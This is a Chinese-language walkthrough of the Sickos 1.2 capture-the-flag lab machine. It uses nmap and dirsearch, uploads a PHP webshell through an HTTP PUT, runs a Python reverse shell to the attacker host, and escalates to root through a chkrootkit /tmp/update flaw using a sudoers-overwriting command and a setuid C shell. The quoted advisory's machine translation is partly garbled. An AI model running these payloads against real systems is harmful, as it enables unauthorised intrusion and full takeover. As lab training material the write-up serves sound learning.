Sickos-1.2

发现主机

nmap 192.168.206.138/24

发现主机192.168.206.157

信息收集

nmap 192.168.206.157 -p- -A -sS

Nmap scan report for 192.168.206.157
Host is up (0.0011s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)
|   2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_  256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp open  http    lighttpd 1.4.28
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: lighttpd/1.4.28
MAC Address: 00:0C:29:0B:25:C7 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.09 ms 192.168.206.157

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.00 seconds

从上面可以看到使用了web服务器lighttpd/1.4.28,开放了22和80端口,尝试搜索lighttpd/1.4.28是否存在漏洞
132
尝试mod_userdir Information Disclosure发现也不可以

扫描期间先看看http服务,查看源代码没有任何发现,扫一下目录

dirsearch -u http://192.168.206.157/

扫描结果:
lighttpd/1.4.28
发现存在一个目录test,访问看看目录下无文件
123

既然无文件那么能够上传文件吗

上传木马

这是重要的一步,自己做的时候没有往这方面想。
那么该如何知道是否可以上传文件呢?
查看/test目录支持的方法

nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.206.157
123

burp抓包发送OPTIONS请求:
123

curl发送OPTIONS请求:

curl -v -X OPTIONS http://192.168.206.157/test/
123

以上方法都可以查看接受的请求方法。接受PUT方法就是我们可以以PUT方法写入文件。尝试一下:

curl -v -X PUT -d "<?php phpinfo();?>" http://192.168.206.157/test/shell.php

发现已经成功写入文件,那么开始写入一句话木马,或者直接传入php反弹shell的文件。
132

使用蚁剑连接靶机,目前权限为www-data。收集信息进行提权。

提权

上传linux信息收集脚本:
运行收集信息时文件不好看,尝试先反弹那一个shell,再进行信息收集。再创建一个反弹shell文件,尝试了几个脚本发现都不行,最后找到这个脚本:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.206.138",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

kali监听端口,蚁剑上运行命令python python.py,得到一个伪终端。
123
执行文件linpeas.sh,似乎没有发现什么

计划任务提权

这又是重要一步,想不到哇。。。
列出与定时任务相关的文件和目录

www-data@ubuntu:/var/www/test$ ls -al /etc/cron*
123

chkrootkit

chkrootkit version 0.49存在本地提权漏洞
123

漏洞原理:chkrootkit有crontab,会定期以root身份执行/tmp/update文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。

We just found a serious vulnerability in the chkrootkit package, which
may allow local attackers to gain root access to a box in certain
configurations (/tmp not mounted noexec).

The vulnerability is located in the function slapper() in the
shellscript chkrootkit:

#
# SLAPPER.{A,B,C,D} and the multi-platform variant
#
slapper (){
   SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"
   SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \
   ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a
   SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "
   OPT=-an
   STATUS=0
   file_port=

   if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">
/dev/null 2>&1
      then
      STATUS=1
      [ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
         $egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print  $7 }' |
tr -d :`
   fi
   for i in ${SLAPPER_FILES}; do
      if [ -f ${i} ]; then
         file_port=$file_port $i
         STATUS=1
      fi
   done
   if [ ${STATUS} -eq 1 ] ;then
      echo "Warning: Possible Slapper Worm installed ($file_port)"
   else
      if [ "${QUIET}" != "t" ]; then echo "not infected"; fi
         return ${NOT_INFECTED}
   fi
}


The line 'file_port=$file_port $i' will execute all files specified in
$SLAPPER_FILES as the user chkrootkit is running (usually root), if
$file_port is empty, because of missing quotation marks around the
variable assignment.

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.

If an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.


Suggested fix: Put quotation marks around the assignment.

file_port="$file_port $i"


I will also try to contact upstream, although the latest version of
chkrootkit dates back to 2009 - will have to see, if I reach a dev there.

复制步骤:
-在/tmp目录下放置一个名为’update’的可执行文件,其所有者不是root
挂载noexec,显然)
—运行chkrootkit(以uid 0为例)
结果:文件/tmp/update将以root身份执行,因此有效
如果恶意内容被放置在文件中,就会在您的盒子中生根。
如果攻击者知道您定期运行chkrootkit(如在
并且对/tmp有写访问权限(没有挂载noexec),他可以
很容易利用这一点。
建议修复:在赋值处加上引号。
file_port = " file_port我美元"
我也会尽量联系上游,虽然最新的版本
chkrootkit可以追溯到2009年-如果我在那里找到一个开发人员,我会看到。

在/tmp目录下创建文件update,并且赋予权限
www-data@ubuntu:/tmp$ touch update;chmod +x update
写入将www-date添加到sudo组的命令

echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers' > /tmp/update

喝杯茶的时间再输入命令sudo -l
132

123
查看一下文件newRule

# Generated by iptables-save v1.4.12 on Mon Apr 25 22:48:24 2016
*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT
# Completed on Mon Apr 25 22:48:24 2016

终于知道问什么反弹shell的时候不能使用6666端口了,原来是限定端口了。。。

还有一个提权的脚本

//shell.c
#include<unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}

gcc shell.c -o /tmp/update

之后运行update文件

总结

总体来说靶机有点意思,重要的几点就是PUT方式上传木马,反弹shell的时候端口的限用,使用chkrootkit的版本漏洞进行提权

  • 11
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值